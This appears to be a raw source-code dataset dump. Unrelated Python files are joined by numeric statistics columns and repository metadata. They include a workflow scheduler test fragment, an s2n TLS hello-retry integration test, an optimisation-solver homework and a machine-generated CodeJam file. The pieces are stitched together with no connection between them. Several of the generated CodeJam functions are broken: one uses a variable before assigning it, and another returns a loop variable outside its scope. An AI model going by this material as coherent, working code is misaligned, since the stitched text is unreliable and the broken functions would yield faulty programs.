action, ts = handler.handle_event(event1, None)
self.assertEqual(SchedulingAction.START, action)
action, ts = handler.handle_event(event1_in_past, ts)
self.assertEqual(SchedulingAction.NONE, action)
def test_unordered_event_life_repeated(self):
condition = MeetAnyEventCondition() \
.add_event(event_key="key_1", event_value="value_1", sender="1-job-name", life=EventLife.REPEATED)
rule1 = WorkflowSchedulingRule(condition, action=WorkflowAction.START)
self.workflow_meta.scheduling_rules = [rule1]
handler = WorkflowEventHandler(self.workflow_meta)
event1: BaseEvent = BaseEvent(key='key_1',
value='value_1',
namespace='default',
sender='1-job-name',
create_time=round(time.time() * 1000))
event1_in_past: BaseEvent = BaseEvent(key='key_1',
value='value_1',
namespace='default',
sender='1-job-name',
create_time=0)
action, ts = handler.handle_event(event1, None)
self.assertEqual(SchedulingAction.START, action)
action, ts = handler.handle_event(event1_in_past, ts)
self.assertEqual(SchedulingAction.START, action)
| 50.953317
| 117
| 0.543109
| 1,936
| 20,738
| 5.620351
| 0.077996
| 0.048709
| 0.045492
| 0.054039
| 0.87878
| 0.877952
| 0.872254
| 0.868946
| 0.863156
| 0.847716
| 0
| 0.023861
| 0.357363
| 20,738
| 406
| 118
| 51.078818
| 0.792601
| 0.026762
| 0
| 0.872881
| 0
| 0
| 0.06188
| 0
| 0
| 0
| 0
| 0
| 0.090395
| 1
| 0.039548
| false
| 0
| 0.019774
| 0
| 0.062147
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
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| 0
| null | 0
| 0
| 0
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| 0
| 0
| 0
|
0
| 7
|
582df08ce0fe3f2050e60a2fd4aa5cba310d67c6
| 10,483
|
py
|
Python
|
projects/src/main/python/CodeJam/Y12R5P1/gepa/generated_py_042febd9224a4ea980b523ea438c3c8c.py
|
DynamicCodeSearch/CodeSeer
|
ee985ece7691691585952eb88565f0e08bdc9113
|
[
"MIT"
] | 5
|
2020-04-05T18:04:13.000Z
|
2021-04-13T20:34:19.000Z
|
projects/src/main/python/CodeJam/Y12R5P1/gepa/generated_py_042febd9224a4ea980b523ea438c3c8c.py
|
DynamicCodeSearch/CodeSeer
|
ee985ece7691691585952eb88565f0e08bdc9113
|
[
"MIT"
] | 1
|
2020-04-29T21:42:26.000Z
|
2020-05-01T23:45:45.000Z
|
projects/src/main/python/CodeJam/Y12R5P1/gepa/generated_py_042febd9224a4ea980b523ea438c3c8c.py
|
DynamicCodeSearch/CodeSeer
|
ee985ece7691691585952eb88565f0e08bdc9113
|
[
"MIT"
] | 3
|
2020-01-27T16:02:14.000Z
|
2021-02-08T13:25:15.000Z
|
import sys
sys.path.append('/home/george2/Raise/ProgramRepair/CodeSeer/projects/src/main/python')
from CodeJam.Y12R5P1.gepa.A import *
def func_e1f1cc7dcfc249d4bed50e5dcab5ffed(P, L):
x = [(i, L[i], 100 - P[i]) for i in xrange(len(L))]
x = sorted(x, cmp=cmp_fn)
return x
def func_130a4bfaf5764448902a575f6e8b0601(P, L):
x = [(i, L[i], 100 - P[i]) for i in xrange(len(L))]
x = sorted(x, cmp=cmp_fn)
return i
def func_5e7af220b32e4630a7ae6e86fb50d92a():
x = sorted(x, cmp=cmp_fn)
return ' '.join([('%d' % x[i][0]) for i in xrange(len(x))])
def func_fe34b5b83d6941f8bc80dbdd8d6807d9(P, L):
x = [(i, L[i], 100 - P[i]) for i in xrange(len(L))]
x = sorted(x, cmp=cmp_fn)
return ' '.join([('%d' % x[i][0]) for i in xrange(len(x))])
def func_1708f66aaa6345ef86241c5bbbd5113d(infile):
N = int(infile.readline().strip())
L = map(int, infile.readline().strip().split())
return N
def func_8c1c7df04f79451cb82475dc4d61493b(infile):
N = int(infile.readline().strip())
L = map(int, infile.readline().strip().split())
return L
def func_76be7ef38dcb4173a714b7ea403194cb(infile):
L = map(int, infile.readline().strip().split())
P = map(int, infile.readline().strip().split())
return P
def func_8e1d13d693ee4b5491018d5dd15fe644(infile):
L = map(int, infile.readline().strip().split())
P = map(int, infile.readline().strip().split())
return L
def func_730ea2217b314389904cf5eb10eca8fc(infile, L):
P = map(int, infile.readline().strip().split())
return L, P
def func_948e8db0617f4f27b83b3123695faa11(infile):
N = int(infile.readline().strip())
L = map(int, infile.readline().strip().split())
P = map(int, infile.readline().strip().split())
return P
def func_a6b4d50f11fe44cf89ecc64f47085f77(infile):
N = int(infile.readline().strip())
L = map(int, infile.readline().strip().split())
P = map(int, infile.readline().strip().split())
return N
def func_b052b1d71b05487ea4b190c5c2b2cd68(infile):
N = int(infile.readline().strip())
L = map(int, infile.readline().strip().split())
P = map(int, infile.readline().strip().split())
return L
def func_33b5c55613c943b1985316899e0e8f58(infile):
L = map(int, infile.readline().strip().split())
P = map(int, infile.readline().strip().split())
return L, P
def func_28cfce99d8cd4254836f4a0eb4d57c4c(infile):
N = int(infile.readline().strip())
L = map(int, infile.readline().strip().split())
P = map(int, infile.readline().strip().split())
return L, P
def func_4c1a4a7b9e41459093090326ef4f491e():
sys.setrecursionlimit(100000)
infile = open('codejam/test_files/Y12R5P1/A.in')
return infile
def func_7930145167a24ced8797c029a3be1db2():
infile = open('codejam/test_files/Y12R5P1/A.in')
T = int(infile.readline().strip())
return infile
def func_421f1c33f112424aa9faf6af3e74d3d0():
infile = open('codejam/test_files/Y12R5P1/A.in')
T = int(infile.readline().strip())
return T
def func_f85ff83e14ba4ea6ae256b77d0db7c02(infile):
T = int(infile.readline().strip())
count = 1
return count
def func_c6baedb383a544e4aaccb957067ae1a7(infile):
T = int(infile.readline().strip())
count = 1
return T
def func_270a8b4637a2444ea9f90c04d039db3f():
count = 1
part = 0
return part
def func_c4359cb0896243e5a1b7af530bc5b62c():
count = 1
part = 0
return count
def func_6fd9da6321ef4783b50601bb33f3f5ae(count):
part = 0
if len(sys.argv) == 3:
part = int(sys.argv[1])
count = int(sys.argv[2])
return part
def func_d177885211144119862a140ef33ef536():
sys.setrecursionlimit(100000)
infile = open('codejam/test_files/Y12R5P1/A.in')
T = int(infile.readline().strip())
return T
def func_fdc75abb79094a78a256cfb63c32660f():
sys.setrecursionlimit(100000)
infile = open('codejam/test_files/Y12R5P1/A.in')
T = int(infile.readline().strip())
return infile
def func_3a46af6322504e8fb150be106f5a7cff():
infile = open('codejam/test_files/Y12R5P1/A.in')
T = int(infile.readline().strip())
count = 1
return infile
def func_f1f0c95e82394d419ab10093ec38c92c():
infile = open('codejam/test_files/Y12R5P1/A.in')
T = int(infile.readline().strip())
count = 1
return T
def func_9ed3d888fa314df18466158adca8dfad():
infile = open('codejam/test_files/Y12R5P1/A.in')
T = int(infile.readline().strip())
count = 1
return count
def func_251f4a8be2e7417eb15b77b5fb7289d4(infile):
T = int(infile.readline().strip())
count = 1
part = 0
return T
def func_5cf622e052734e3d998bef95be53e126(infile):
T = int(infile.readline().strip())
count = 1
part = 0
return part
def func_7fd2a10463dd4b5681b7c7b29193be65(infile):
T = int(infile.readline().strip())
count = 1
part = 0
return count
def func_31d3acd18e044a3789e1356abb959563():
count = 1
part = 0
if len(sys.argv) == 3:
part = int(sys.argv[1])
count = int(sys.argv[2])
return part
def func_aba15600f91149c9860d698c1ce9e015():
count = 1
part = 0
if len(sys.argv) == 3:
part = int(sys.argv[1])
count = int(sys.argv[2])
return count
def func_c0ed95ca155b492bae2a65a534554a66():
sys.setrecursionlimit(100000)
infile = open('codejam/test_files/Y12R5P1/A.in')
T = int(infile.readline().strip())
count = 1
return count
def func_c77ff06b7551436bb2a13d184a1713d6():
sys.setrecursionlimit(100000)
infile = open('codejam/test_files/Y12R5P1/A.in')
T = int(infile.readline().strip())
count = 1
return T
def func_32f3e23a6a9a4dbc870a1da0b56e5215():
sys.setrecursionlimit(100000)
infile = open('codejam/test_files/Y12R5P1/A.in')
T = int(infile.readline().strip())
count = 1
return infile
def func_fc6f01f0bf12447fbc53b972d9277dca():
infile = open('codejam/test_files/Y12R5P1/A.in')
T = int(infile.readline().strip())
count = 1
part = 0
return part
def func_19403a5670924b8a8ff979167331f792():
infile = open('codejam/test_files/Y12R5P1/A.in')
T = int(infile.readline().strip())
count = 1
part = 0
return count
def func_0d16143a2fe24140ac161ba3b67aec01():
infile = open('codejam/test_files/Y12R5P1/A.in')
T = int(infile.readline().strip())
count = 1
part = 0
return infile
def func_a2acc951a5f4453e8282823922c0b726():
infile = open('codejam/test_files/Y12R5P1/A.in')
T = int(infile.readline().strip())
count = 1
part = 0
return T
def func_3f7c4066087f4ead8291a6b1ccef50bb(infile):
T = int(infile.readline().strip())
count = 1
part = 0
if len(sys.argv) == 3:
part = int(sys.argv[1])
count = int(sys.argv[2])
return T
def func_5ff69a247b234cfc983131339e213da5(infile):
T = int(infile.readline().strip())
count = 1
part = 0
if len(sys.argv) == 3:
part = int(sys.argv[1])
count = int(sys.argv[2])
return part
def func_0181f5e2f16d402780ab7cbfc8dc799e(infile):
T = int(infile.readline().strip())
count = 1
part = 0
if len(sys.argv) == 3:
part = int(sys.argv[1])
count = int(sys.argv[2])
return count
def func_1c56ac89450345a1a38f98a6c714b43e():
sys.setrecursionlimit(100000)
infile = open('codejam/test_files/Y12R5P1/A.in')
T = int(infile.readline().strip())
count = 1
part = 0
return count
def func_23607c766d724a61addcefb1c6de841a():
sys.setrecursionlimit(100000)
infile = open('codejam/test_files/Y12R5P1/A.in')
T = int(infile.readline().strip())
count = 1
part = 0
return part
def func_efb594f4423d43eba46e72fa1b04581b():
sys.setrecursionlimit(100000)
infile = open('codejam/test_files/Y12R5P1/A.in')
T = int(infile.readline().strip())
count = 1
part = 0
return T
def func_973ba1451d804511aab1ea0382f3e66c():
sys.setrecursionlimit(100000)
infile = open('codejam/test_files/Y12R5P1/A.in')
T = int(infile.readline().strip())
count = 1
part = 0
return infile
def func_a8f09bded4414fefa7b632da0eb8425f():
infile = open('codejam/test_files/Y12R5P1/A.in')
T = int(infile.readline().strip())
count = 1
part = 0
if len(sys.argv) == 3:
part = int(sys.argv[1])
count = int(sys.argv[2])
return count
def func_7f913cf1736c41b988996eeef6fb4819():
infile = open('codejam/test_files/Y12R5P1/A.in')
T = int(infile.readline().strip())
count = 1
part = 0
if len(sys.argv) == 3:
part = int(sys.argv[1])
count = int(sys.argv[2])
return infile
def func_6b98118a688a428fbd4c0699fa05f7d8():
infile = open('codejam/test_files/Y12R5P1/A.in')
T = int(infile.readline().strip())
count = 1
part = 0
if len(sys.argv) == 3:
part = int(sys.argv[1])
count = int(sys.argv[2])
return part
def func_f34d1b0002cb43ba96535cdd8f061022():
infile = open('codejam/test_files/Y12R5P1/A.in')
T = int(infile.readline().strip())
count = 1
part = 0
if len(sys.argv) == 3:
part = int(sys.argv[1])
count = int(sys.argv[2])
return T
def func_2c40d0ed6f00437da789144e90a7ffb3():
sys.setrecursionlimit(100000)
infile = open('codejam/test_files/Y12R5P1/A.in')
T = int(infile.readline().strip())
count = 1
part = 0
if len(sys.argv) == 3:
part = int(sys.argv[1])
count = int(sys.argv[2])
return T
def func_e0729d34bfb7425d9b93bb7d20c12841():
sys.setrecursionlimit(100000)
infile = open('codejam/test_files/Y12R5P1/A.in')
T = int(infile.readline().strip())
count = 1
part = 0
if len(sys.argv) == 3:
part = int(sys.argv[1])
count = int(sys.argv[2])
return count
def func_ff81c398d3a448fd8dc27f9d6d078147():
sys.setrecursionlimit(100000)
infile = open('codejam/test_files/Y12R5P1/A.in')
T = int(infile.readline().strip())
count = 1
part = 0
if len(sys.argv) == 3:
part = int(sys.argv[1])
count = int(sys.argv[2])
return infile
def func_d2d6a8ea53534dd6b2a05dbea734fd5c():
sys.setrecursionlimit(100000)
infile = open('codejam/test_files/Y12R5P1/A.in')
T = int(infile.readline().strip())
count = 1
part = 0
if len(sys.argv) == 3:
part = int(sys.argv[1])
count = int(sys.argv[2])
return part
| 24.550351
| 86
| 0.652485
| 1,311
| 10,483
| 5.152555
| 0.083905
| 0.075944
| 0.143449
| 0.18564
| 0.720059
| 0.720059
| 0.720059
| 0.720059
| 0.711621
| 0.709845
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| 0.20662
| 10,483
| 426
| 87
| 24.607981
| 0.644463
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| 0.086235
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0
| 7
|
5832f22169686dfffd2b950e1b10ddb69b077231
| 7,866
|
py
|
Python
|
tests/integrationv2/test_hello_retry_requests.py
|
sthagen/aws-s2n-tls
|
2ea716e8acf29256615e6bde5c58d634ea7bb2fa
|
[
"Apache-2.0"
] | null | null | null |
tests/integrationv2/test_hello_retry_requests.py
|
sthagen/aws-s2n-tls
|
2ea716e8acf29256615e6bde5c58d634ea7bb2fa
|
[
"Apache-2.0"
] | null | null | null |
tests/integrationv2/test_hello_retry_requests.py
|
sthagen/aws-s2n-tls
|
2ea716e8acf29256615e6bde5c58d634ea7bb2fa
|
[
"Apache-2.0"
] | null | null | null |
import copy
import os
import pytest
import time
from configuration import available_ports, TLS13_CIPHERS, ALL_TEST_CURVES, ALL_TEST_CERTS
from common import ProviderOptions, Protocols, data_bytes, Curves
from fixtures import managed_process
from providers import Provider, S2N, OpenSSL
from utils import invalid_test_parameters, get_parameter_name, to_bytes
S2N_DEFAULT_CURVE = Curves.X25519
S2N_HRR_MARKER = to_bytes("HELLO_RETRY_REQUEST")
# Mapping list of curve_names for hello retry requests server side test.
CURVE_NAMES = {
"X25519": "x25519",
"P-256": "secp256r1",
"P-384": "secp384r1",
"P-521": "secp521r1"
}
def test_nothing():
"""
Sometimes the hello retry test parameters in combination with the s2n libcrypto
results in no test cases existing. In this case, pass a nothing test to avoid
marking the entire codebuild run as failed.
"""
assert True
@pytest.mark.uncollect_if(func=invalid_test_parameters)
@pytest.mark.parametrize("cipher", TLS13_CIPHERS, ids=get_parameter_name)
@pytest.mark.parametrize("provider", [OpenSSL])
@pytest.mark.parametrize("other_provider", [S2N], ids=get_parameter_name)
@pytest.mark.parametrize("curve", ALL_TEST_CURVES, ids=get_parameter_name)
@pytest.mark.parametrize("protocol", [Protocols.TLS13], ids=get_parameter_name)
@pytest.mark.parametrize("certificate", ALL_TEST_CERTS, ids=get_parameter_name)
def test_hrr_with_s2n_as_client(managed_process, cipher, provider, other_provider, curve, protocol, certificate):
if curve == S2N_DEFAULT_CURVE:
pytest.skip("No retry if server curve matches client curve")
port = next(available_ports)
random_bytes = data_bytes(64)
client_options = ProviderOptions(
mode=Provider.ClientMode,
port=port,
cipher=cipher,
data_to_send=random_bytes,
insecure=True,
protocol=protocol)
server_options = copy.copy(client_options)
server_options.data_to_send = None
server_options.mode = Provider.ServerMode
server_options.key = certificate.key
server_options.cert = certificate.cert
server_options.extra_flags = None
server_options.curve = curve
# Passing the type of client and server as a parameter will
# allow us to use a fixture to enumerate all possibilities.
server = managed_process(provider, server_options, timeout=5)
client = managed_process(S2N, client_options, timeout=5)
# The client should connect and return without error
for results in client.get_results():
results.assert_success()
assert to_bytes("Curve: {}".format(
CURVE_NAMES[curve.name])) in results.stdout
assert S2N_HRR_MARKER in results.stdout
marker_part1 = b"cf 21 ad 74 e5"
marker_part2 = b"9a 61 11 be 1d"
for results in server.get_results():
results.assert_success()
assert marker_part1 in results.stdout and marker_part2 in results.stdout
assert b'Supported Elliptic Groups: X25519:P-256:P-384' in results.stdout
assert to_bytes("Shared Elliptic groups: {}".format(
server_options.curve)) in results.stdout
assert random_bytes in results.stdout
@pytest.mark.uncollect_if(func=invalid_test_parameters)
@pytest.mark.parametrize("cipher", TLS13_CIPHERS, ids=get_parameter_name)
@pytest.mark.parametrize("provider", [OpenSSL])
@pytest.mark.parametrize("other_provider", [S2N], ids=get_parameter_name)
@pytest.mark.parametrize("curve", ALL_TEST_CURVES, ids=get_parameter_name)
@pytest.mark.parametrize("protocol", [Protocols.TLS13], ids=get_parameter_name)
@pytest.mark.parametrize("certificate", ALL_TEST_CERTS, ids=get_parameter_name)
def test_hrr_with_s2n_as_server(managed_process, cipher, provider, other_provider, curve, protocol, certificate):
port = next(available_ports)
random_bytes = data_bytes(64)
client_options = ProviderOptions(
mode=Provider.ClientMode,
port=port,
cipher=cipher,
data_to_send=random_bytes,
insecure=True,
curve=curve,
extra_flags=['-msg', '-curves', 'X448:'+str(curve)],
protocol=protocol)
server_options = copy.copy(client_options)
server_options.data_to_send = None
server_options.mode = Provider.ServerMode
server_options.key = certificate.key
server_options.cert = certificate.cert
server_options.extra_flags = None
# Passing the type of client and server as a parameter will
# allow us to use a fixture to enumerate all possibilities.
server = managed_process(S2N, server_options, timeout=5)
client = managed_process(provider, client_options, timeout=5)
# The client should connect and return without error
for results in server.get_results():
results.assert_success()
assert random_bytes in results.stdout
assert to_bytes("Curve: {}".format(
CURVE_NAMES[curve.name])) in results.stdout
assert random_bytes in results.stdout
assert S2N_HRR_MARKER in results.stdout
client_hello_count = 0
server_hello_count = 0
finished_count = 0
# HRR random data Refer: https://tools.ietf.org/html/rfc8446#section-4.1.3
marker = b"cf 21 ad 74 e5 9a 61 11 be 1d"
for results in client.get_results():
results.assert_success()
assert marker in results.stdout
client_hello_count = results.stdout.count(b'ClientHello')
server_hello_count = results.stdout.count(b'ServerHello')
finished_count = results.stdout.count(b'Finished')
assert client_hello_count == 2
assert server_hello_count == 2
assert finished_count == 2
# Default Keyshare for TLS v1.3 is x25519
TEST_CURVES = ALL_TEST_CURVES[1:]
@pytest.mark.uncollect_if(func=invalid_test_parameters)
@pytest.mark.parametrize("cipher", TLS13_CIPHERS, ids=get_parameter_name)
@pytest.mark.parametrize("provider", [OpenSSL])
@pytest.mark.parametrize("other_provider", [S2N], ids=get_parameter_name)
@pytest.mark.parametrize("curve", TEST_CURVES, ids=get_parameter_name)
@pytest.mark.parametrize("protocol", [Protocols.TLS13], ids=get_parameter_name)
@pytest.mark.parametrize("certificate", ALL_TEST_CERTS, ids=get_parameter_name)
def test_hrr_with_default_keyshare(managed_process, cipher, provider, other_provider, curve, protocol, certificate):
port = next(available_ports)
random_bytes = data_bytes(64)
client_options = ProviderOptions(
mode=Provider.ClientMode,
port=port,
cipher=cipher,
data_to_send=random_bytes,
insecure=True,
protocol=protocol)
server_options = copy.copy(client_options)
server_options.data_to_send = None
server_options.mode = Provider.ServerMode
server_options.key = certificate.key
server_options.cert = certificate.cert
server_options.extra_flags = None
server_options.curve = curve
# Passing the type of client and server as a parameter will
# allow us to use a fixture to enumerate all possibilities.
server = managed_process(provider, server_options, timeout=5)
client = managed_process(S2N, client_options, timeout=5)
# The client should connect and return without error
for results in client.get_results():
results.assert_success()
assert to_bytes("Curve: {}".format(
CURVE_NAMES[curve.name])) in results.stdout
assert S2N_HRR_MARKER in results.stdout
marker_part1 = b"cf 21 ad 74 e5"
marker_part2 = b"9a 61 11 be 1d"
for results in server.get_results():
results.assert_success()
assert marker_part1 in results.stdout and marker_part2 in results.stdout
assert b'Supported Elliptic Groups: X25519:P-256:P-384' in results.stdout
assert to_bytes("Shared Elliptic groups: {}".format(
server_options.curve)) in results.stdout
assert random_bytes in results.stdout
| 39.33
| 116
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| 7,866
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| 7,866
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| 117
| 39.527638
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| 1
| 0.026846
| false
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| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
548a027a1e46c2d5e7b8fe6da883be8c965a053b
| 129
|
py
|
Python
|
cumm/tensorview/utils.py
|
FindDefinition/cumm
|
3d58e85b660afa05c20514afe65b8aa3a4995953
|
[
"Apache-2.0"
] | 20
|
2021-10-13T03:41:59.000Z
|
2022-03-31T07:23:14.000Z
|
cumm/tensorview/utils.py
|
FindDefinition/cumm
|
3d58e85b660afa05c20514afe65b8aa3a4995953
|
[
"Apache-2.0"
] | 3
|
2021-11-21T11:25:55.000Z
|
2022-03-08T06:12:35.000Z
|
cumm/tensorview/utils.py
|
FindDefinition/cumm
|
3d58e85b660afa05c20514afe65b8aa3a4995953
|
[
"Apache-2.0"
] | 4
|
2021-10-13T03:42:01.000Z
|
2022-03-21T13:07:56.000Z
|
def div_up(a: int, b: int) -> int:
return (a + b - 1) // b
def align_up(a: int, b: int) -> int:
return div_up(a, b) * b
| 21.5
| 36
| 0.51938
| 27
| 129
| 2.37037
| 0.333333
| 0.140625
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| 0.59375
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| 0.010753
| 0.27907
| 129
| 5
| 37
| 25.8
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| 0
|
0
| 7
|
54a48335c0a21dcf1038927f172cffd9be383769
| 11,775
|
py
|
Python
|
hw2/solvers.py
|
ppham27/amath515
|
0c259e293596d6573d09249970b311b652400f5e
|
[
"MIT"
] | null | null | null |
hw2/solvers.py
|
ppham27/amath515
|
0c259e293596d6573d09249970b311b652400f5e
|
[
"MIT"
] | null | null | null |
hw2/solvers.py
|
ppham27/amath515
|
0c259e293596d6573d09249970b311b652400f5e
|
[
"MIT"
] | null | null | null |
# this file contains collection of solver we learned in the class
from numpy.linalg import norm
from numpy.linalg import solve
import numpy as np
# =============================================================================
# TODO Complete the following optimization algorithms
# * proximal gradient desecnt
# * accelerated gradient descent
# * accelerated proximal gradient descent
# =============================================================================
# Proximal gradient descent
# -----------------------------------------------------------------------------
def optimizeWithPGD(x0, func_f, func_g, grad_f, prox_g, beta_f, tol=1e-6, max_iter=1000):
"""
Optimize with Proximal Gradient Descent Method
min_x f(x) + g(x)
where f is beta smooth and g is proxiable.
input
-----
x0 : array_like
Starting point for the solver
func_f : function
Input x and return the function value of f
func_g : function
Input x and return the function value of g
grad_f : function
Input x and return the gradient of f
prox_g : function
Input x and a constant float number and return the prox solution
beta_f : float
beta smoothness constant for f
tol : float, optional
Gradient tolerance for terminating the solver.
max_iter : int, optional
Maximum number of iteration for terminating the solver.
output
------
x : array_like
Final solution
obj_his : array_like
Objective function value convergence history
err_his : array_like
Norm of gradient convergence history
exit_flag : int
0, norm of gradient below `tol`
1, exceed maximum number of iteration
2, others
"""
# initial information
x = x0.copy()
g = grad_f(x)
#
step_size = 1.0/beta_f
# not recording the initial point since we do not have measure of the optimality
obj_his = np.zeros(max_iter)
err_his = np.zeros(max_iter)
# start iteration
iter_count = 0
err = tol + 1.0
while err >= tol:
#####
# Do a normal gradient step and then project.
x_new = prox_g(x - step_size * g, step_size)
#####
#
# update information
obj = func_f(x_new) + func_g(x_new)
err = norm(x - x_new)/step_size
#
np.copyto(x, x_new)
g = grad_f(x)
#
obj_his[iter_count] = obj
err_his[iter_count] = err
#
# check if exceed maximum number of iteration
iter_count += 1
if iter_count >= max_iter:
print('Proximal gradient descent reach maximum of iteration')
return x, obj_his[:iter_count], err_his[:iter_count], 1
#
return x, obj_his[:iter_count], err_his[:iter_count], 0
# Accelerated gradient descent
# -----------------------------------------------------------------------------
def optimizeWithAGD(x0, func, grad, beta, tol=1e-6, max_iter=1000):
"""
Optimize with Accelerated Gradient Descent Method
min_x f(x)
where f is beta smooth.
input
-----
x0 : array_like
Starting point for the solver
func : function
Input x and return the function value
grad : function
Input x and return the gradient
beta : float
beta smoothness constant for the function
tol : float, optional
Gradient tolerance for terminating the solver.
max_iter : int, optional
Maximum number of iteration for terminating the solver.
output
------
x : array_like
Final solution
obj_his : array_like
Objective function value convergence history
err_his : array_like
Norm of gradient convergence history
exit_flag : int
0, norm of gradient below `tol`
1, exceed maximum number of iteration
2, others
"""
# initial information
x = x0.copy()
y = x0.copy()
g = grad(y)
t = 1.0
#
step_size = 1.0/beta
# not recording the initial point since we do not have measure of the optimality
obj_his = np.zeros(max_iter+1)
err_his = np.zeros(max_iter+1)
#
obj_his[0] = func(x)
err_his[0] = norm(g)
# start iteration
iter_count = 0
err = tol + 1.0
while err >= tol:
# proximal gradient descent step
#####
x_new = y - step_size * g
t_new = t + 1.
y_new = x_new + ((t - 1.) / (t_new + 1.)) * (x_new - x)
#####
#
# update information
np.copyto(x, x_new)
np.copyto(y, y_new)
t = t_new
g = grad(y)
#
obj = func(x_new)
err = norm(g)
#
obj_his[iter_count + 1] = obj
err_his[iter_count + 1] = err
#
# check if exceed maximum number of iteration
iter_count += 1
if iter_count >= max_iter:
print('Accelerated gradient descent reach maximum of iteration')
return x, obj_his[:iter_count+1], err_his[:iter_count+1], 1
#
return x, obj_his[:iter_count+1], err_his[:iter_count+1], 0
# Accelerated proximal gradient descent
# -----------------------------------------------------------------------------
def optimizeWithAPGD(x0, func_f, func_g, grad_f, prox_g, beta_f, tol=1e-6, max_iter=1000):
"""
Optimize with Accelerated Proximal Gradient Descent Method
min_x f(x) + g(x)
where f is beta smooth and g is proxiable.
input
-----
x0 : array_like
Starting point for the solver
func_f : function
Input x and return the function value of f
func_g : function
Input x and return the function value of g
grad_f : function
Input x and return the gradient of f
prox_g : function
Input x and a constant float number and return the prox solution
beta_f : float
beta smoothness constant for f
tol : float, optional
Gradient tolerance for terminating the solver.
max_iter : int, optional
Maximum number of iteration for terminating the solver.
output
------
x : array_like
Final solution
obj_his : array_like
Objective function value convergence history
err_his : array_like
Norm of gradient convergence history
exit_flag : int
0, norm of gradient below `tol`
1, exceed maximum number of iteration
2, others
"""
# initial information
x = x0.copy()
y = x0.copy()
g = grad_f(y)
t = 1.0
#
step_size = 1.0/beta_f
# not recording the initial point since we do not have measure of the optimality
obj_his = np.zeros(max_iter)
err_his = np.zeros(max_iter)
# start iteration
iter_count = 0
err = tol + 1.0
while err >= tol:
#####
x_new = prox_g(y - step_size * g, step_size)
t_new = t + 1
y_new = x_new + ((t - 1.) / (t_new + 1.)) * (x_new - x)
#####
#
# update information
obj = func_f(x_new) + func_g(x_new)
err = norm(x - x_new)
#
np.copyto(x, x_new)
np.copyto(y, y_new)
t = t_new
g = grad_f(y)
#
obj_his[iter_count] = obj
err_his[iter_count] = err
#
# check if exceed maximum number of iteration
iter_count += 1
if iter_count >= max_iter:
print('Proximal gradient descent reach maximum of iteration')
return x, obj_his[:iter_count], err_his[:iter_count], 1
#
return x, obj_his[:iter_count], err_his[:iter_count], 0
# =============================================================================
# From previous homeworks:
# * gradient descent
# * Newton's method
# =============================================================================
# Gradient descent
# -----------------------------------------------------------------------------
def optimizeWithGD(x0, func, grad, beta, tol=1e-6, max_iter=1000):
"""
Optimize with Gradient Descent
min_x f(x)
where f is beta smooth.
input
-----
x0 : array_like
Starting point for the solver.
func : function
Input x and return the function value.
grad : function
Input x and return the gradient.
beta : float
beta smoothness constant
tol : float, optional
Gradient tolerance for terminating the solver.
max_iter : int, optional
Maximum number of iteration for terminating the solver.
output
------
x : array_like
Final solution
obj_his : array_like
Objective function value convergence history
err_his : array_like
Norm of gradient convergence history
exit_flag : int
0, norm of gradient below `tol`
1, exceed maximum number of iteration
2, others
"""
# initial information
x = np.copy(x0)
g = grad(x)
step_size = 1.0/beta
#
obj = func(x)
err = norm(g)
#
obj_his = np.zeros(max_iter + 1)
err_his = np.zeros(max_iter + 1)
#
obj_his[0] = obj
err_his[0] = err
# start iterations
iter_count = 0
while err >= tol:
# gradient descent step
x -= step_size*g
#
# update function and gradient
g = grad(x)
#
obj = func(x)
err = norm(g)
#
iter_count += 1
obj_his[iter_count] = obj
err_his[iter_count] = err
#
# check if exceed maximum number of iteration
if iter_count >= max_iter:
print('Gradient descent reach maximum number of iteration.')
return x, obj_his[:iter_count+1], err_his[:iter_count+1], 1
#
return x, obj_his[:iter_count+1], err_his[:iter_count+1], 0
# Newton's Method
# -----------------------------------------------------------------------------
def optimizeWithNT(x0, func, grad, hess, tol=1e-6, max_iter=100):
"""
Optimize with Newton's Method
input
-----
x0 : array_like
Starting point for the solver.
func : function
Input x and return the function value.
grad : function
Input x and return the gradient.
hess : function
Input x and return the Hessian matrix.
tol : float, optional
Gradient tolerance for terminating the solver.
max_iter : int, optional
Maximum number of iteration for terminating the solver.
output
------
x : array_like
Final solution
obj_his : array_like
Objective function value convergence history
err_his : array_like
Norm of gradient convergence history
exit_flag : int
0, norm of gradient below `tol`
1, exceed maximum number of iteration
2, others
"""
# initial step
x = np.copy(x0)
g = grad(x)
H = hess(x)
#
obj = func(x)
err = norm(g)
#
obj_his = np.zeros(max_iter + 1)
err_his = np.zeros(max_iter + 1)
#
obj_his[0] = obj
err_his[0] = err
# start iteration
iter_count = 0
while err >= tol:
# Newton's step
x -= solve(H, g)
#
# update function, gradient and Hessian
g = grad(x)
H = hess(x)
#
obj = func(x)
err = norm(g)
#
iter_count += 1
obj_his[iter_count] = obj
err_his[iter_count] = err
#
# check if exceed maximum number of iteration
if iter_count >= max_iter:
print('Gradient descent reach maximum number of iteration.')
return x, obj_his[:iter_count+1], err_his[:iter_count+1], 1
#
return x, obj_his[:iter_count+1], err_his[:iter_count+1], 0
| 29.36409
| 90
| 0.556093
| 1,525
| 11,775
| 4.14623
| 0.087213
| 0.064052
| 0.056935
| 0.064526
| 0.864305
| 0.844852
| 0.831725
| 0.824767
| 0.824767
| 0.817808
| 0
| 0.016113
| 0.309554
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0
| 7
|
49fb5ea79ad11e1cf79864d5831f71b5722accd6
| 820,851
|
py
|
Python
|
lib/couchbase_helper/wiki/en_wiki_querables.py
|
sumedhpb/testrunner
|
9ff887231c75571624abc31a3fb5248110e01203
|
[
"Apache-2.0"
] | 14
|
2015-02-06T02:47:57.000Z
|
2020-03-14T15:06:05.000Z
|
lib/couchbase_helper/wiki/en_wiki_querables.py
|
sumedhpb/testrunner
|
9ff887231c75571624abc31a3fb5248110e01203
|
[
"Apache-2.0"
] | 3
|
2019-02-27T19:29:11.000Z
|
2021-06-02T02:14:27.000Z
|
lib/couchbase_helper/wiki/en_wiki_querables.py
|
sumedhpb/testrunner
|
9ff887231c75571624abc31a3fb5248110e01203
|
[
"Apache-2.0"
] | 108
|
2015-03-26T08:58:49.000Z
|
2022-03-21T05:21:39.000Z
|
# coding=utf-8
